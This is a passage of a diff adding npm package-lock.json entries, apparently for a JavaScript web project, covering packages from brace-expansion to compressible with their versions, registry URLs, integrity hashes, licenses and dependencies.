"node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "license": "MIT", + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/broadcast-channel": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/broadcast-channel/-/broadcast-channel-3.7.0.tgz", + "integrity": "sha512-cIAKJXAxGJceNZGTZSBzMxzyOn72cVgPnKx4dc6LRjQgbaJUQqhy5rzL3zbMxkMWsGKkv2hSFkPRMEXfoMZ2Mg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.7.2", + "detect-node": "^2.1.0", + "js-sha3": "0.8.0", + "microseconds": "0.2.0", + "nano-time": "1.0.0", + "oblivious-set": "1.0.0", + "rimraf": "3.0.2", + "unload": "2.2.0" + } + }, + "node_modules/browser-process-hrtime": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", + "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==", + "license": "BSD-2-Clause" + }, + "node_modules/browserslist": { + "version": "4.24.0", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.24.0.tgz", + "integrity": "sha512-Rmb62sR1Zpjql25eSanFGEhAxcFwfA1K0GuQcLoaJBAcENegrQut3hYdhXFF1obQfiDyqIW/cLM5HSJ/9k884A==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "caniuse-lite": "^1.0.30001663", + "electron-to-chromium": "^1.5.28", + "node-releases": "^2.0.18", + "update-browserslist-db": "^1.1.0" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/bser": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "license": "Apache-2.0", + "dependencies": { + "node-int64": "^0.4.0" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "license": "MIT" + }, + "node_modules/builtin-modules": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz", + "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==", + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha512-pMhOfFDPiv9t5jjIXkHosWmkSyQbvsgEVNkz0ERHbuLh2T/7j4Mqqpz523Fe8MVY89KC6Sh/QfS2sM+SjgFDcw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/cache-base": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", + "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "collection-visit": "^1.0.0", + "component-emitter": "^1.2.1", + "get-value": "^2.0.6", + "has-value": "^1.0.0", + "isobject": "^3.0.1", + "set-value": "^2.0.0", + "to-object-path": "^0.3.0", + "union-value": "^1.0.0", + "unset-value": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cachedir": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cachedir/-/cachedir-2.3.0.tgz", + "integrity": "sha512-A+Fezp4zxnit6FanDmv9EqXNAi3vt9DWp51/71UEhXukb7QUuvtv9344h91dyAxuTLoSYJFU299qzR3tzwPAhw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/calculate-size": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/calculate-size/-/calculate-size-1.1.1.tgz", + "integrity": "sha512-jJZ7pvbQVM/Ss3VO789qpsypN3xmnepg242cejOAslsmlZLYw2dnj7knnNowabQ0Kzabzx56KFTy2Pot/y6FmA==", + "license": "MIT" + }, + "node_modules/call-bind": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", + "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.0", + "es-define-property": "^1.0.0", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.1.tgz", + "integrity": "sha512-BhYE+WDaywFg2TBWYNXAE+8B1ATnThNBqXHP5nQu0jWJdVvY2hvkpyB3qOmtmDePiS5/BDQ8wASEWGMWRG148g==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "license": "MIT", + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camel-case/node_modules/tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "license": "0BSD" + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/camelize": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/camelize/-/camelize-1.0.0.tgz", + "integrity": "sha512-W2lPwkBkMZwFlPCXhIlYgxu+7gC/NUlCtdK652DAJ1JdgV0sTrvuPFshNPrFa1TY2JOkLhgdeEBplB4ezEa+xg==", + "license": "MIT" + }, + "node_modules/caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001667", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001667.tgz", + "integrity": "sha512-7LTwJjcRkzKFmtqGsibMeuXmvFDfZq/nzIjnmgCGzKKRVzjD72selLDK1oPF/Oxzmt4fNcPvTDvGqSDG4tCALw==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/case-sensitive-paths-webpack-plugin": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz", + "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/caseless": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", + "integrity": "sha512-4tYFyifaFfGacoiObjJegolkwSU4xQNGbVgUiNYVUxbQ2x2lUsFvY4hVgVzGiIe6WLOPqycWXA40l+PWsxthUw==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/char-regex": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/check-more-types": { + "version": "2.24.0", + "resolved": "https://registry.npmjs.org/check-more-types/-/check-more-types-2.24.0.tgz", + "integrity": "sha512-Pj779qHxV2tuapviy1bSZNEL1maXr13bPYpsvSDB68HlYcYuhlDrmGd63i0JHMCLKzc7rUSNIrpdJlhVlNwrxA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/check-types": { + "version": "11.1.2", + "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.1.2.tgz", + "integrity": "sha512-tzWzvgePgLORb9/3a0YenggReLKAIb2owL03H2Xdoe5pKcUyWRSEQ8xfCar8t2SIAuEDwtmx2da1YB52YuHQMQ==", + "license": "MIT" + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "license": "MIT", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "license": "MIT", + "engines": { + "node": ">=6.0" + } + }, + "node_modules/ci-info": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.3.2.tgz", + "integrity": "sha512-xmDt/QIAdeZ9+nfdPsaBCpMvHNLFiLdjj59qjqn+6iPe6YmHGQ35sBnQ8uslRBXFmXkiZQOJRjvQeoGppoTjjg==", + "license": "MIT" + }, + "node_modules/cjs-module-lexer": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.2.tgz", + "integrity": "sha512-cOU9usZw8/dXIXKtwa8pM0OTJQuJkxMN6w30csNRUerHfeQ5R6U3kkU/FtJeIf3M202OHfY2U8ccInBG7/xogA==", + "license": "MIT" + }, + "node_modules/class-utils": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", + "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "arr-union": "^3.1.0", + "define-property": "^0.2.5", + "isobject": "^3.0.0", + "static-extend": "^0.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils/node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==", + "deprecated": "Please upgrade to v0.1.7", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils/node_modules/is-accessor-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils/node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==", + "deprecated": "Please upgrade to v0.1.5", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils/node_modules/is-data-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils/node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/class-utils/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/classnames": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz", + "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==", + "license": "MIT" + }, + "node_modules/clean-css": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.0.tgz", + "integrity": "sha512-YYuuxv4H/iNb1Z/5IbMRoxgrzjWGhOEFfd+groZ5dMCVkpENiMZmwspdrzBo9286JjM1gZJPAyL7ZIdzuvu2AQ==", + "license": "MIT", + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-table3": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.6.2.tgz", + "integrity": "sha512-QyavHCaIC80cMivimWu4aWHilIpiDpfm3hGmqAmXVL1UsnbLuBSMd21hTX6VY4ZSDSM73ESLeF8TOYId3rBTbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "string-width": "^4.2.0" + }, + "engines": { + "node": "10.* || >= 12.*" + }, + "optionalDependencies": { + "@colors/colors": "1.5.0" + } + }, + "node_modules/cli-truncate": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cli-truncate/-/cli-truncate-2.1.0.tgz", + "integrity": "sha512-n8fOixwDD6b/ObinzTrp1ZKFzbgvKZvuz/TvejnLn1aQfC6r52XEx85FmuC+3HI+JM7coBRXUvNqEU2PHVrHpg==", + "dev": true, + "license": "MIT", + "dependencies": { + "slice-ansi": "^3.0.0", + "string-width": "^4.2.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/clsx": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.2.1.tgz", + "integrity": "sha512-EcR6r5a8bj6pu3ycsa/E/cKVGuTgZJZdsyUYHOksG/UHIiKfjxzRxYJpyVBwYaQeOvghal9fcc4PidlgzugAQg==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/co": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", + "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==", + "license": "MIT", + "engines": { + "iojs": ">= 1.0.0", + "node": ">= 0.12.0" + } + }, + "node_modules/coa": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz", + "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==", + "license": "MIT", + "dependencies": { + "@types/q": "^1.5.1", + "chalk": "^2.4.1", + "q": "^1.1.2" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/collect-v8-coverage": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz", + "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg==", + "license": "MIT" + }, + "node_modules/collection-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", + "integrity": "sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==", + "dev": true, + "license": "MIT", + "dependencies": { + "map-visit": "^1.0.0", + "object-visit": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "license": "MIT", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "license": "MIT" + }, + "node_modules/colord": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.2.tgz", + "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==", + "license": "MIT" + }, + "node_modules/colorette": { + "version": "2.0.19", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.19.tgz", + "integrity": "sha512-3tlv/dIP7FWvj3BsbHrGLJ6l/oKh1O3TcgBqMn+yyCagOxc23fyzDS6HypQbgxWbkpDnf52p1LuR4eWDQ/K9WQ==", + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz", + "integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/common-path-prefix": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/common-path-prefix/-/common-path-prefix-3.0.0.tgz", + "integrity": "sha512-QE33hToZseCH3jS0qN96O/bSh3kaw/h+Tq7ngyY9eWDUnTlTNUyqfqvCXioLe5Na5jFsL78ra/wuBU4iuEgd4w==", + "license": "ISC" + }, + "node_modules/common-tags": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz", + "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==", + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "license": "MIT" + }, + "node_modules/compare-versions": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/compare-versions/-/compare-versions-6.1.1.tgz", + "integrity": "sha512-4hm4VPpIecmlg59CHXnRDnqGplJFrbLG4aFEl5vl6cK1u76ws3LLvX7ikFnTDl5vo39sjWD6AaDPYodJp/NNHg==", + "license": "MIT" + }, + "node_modules/component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==", + "license": "MIT" + }, + "node_modules/compressible": { + 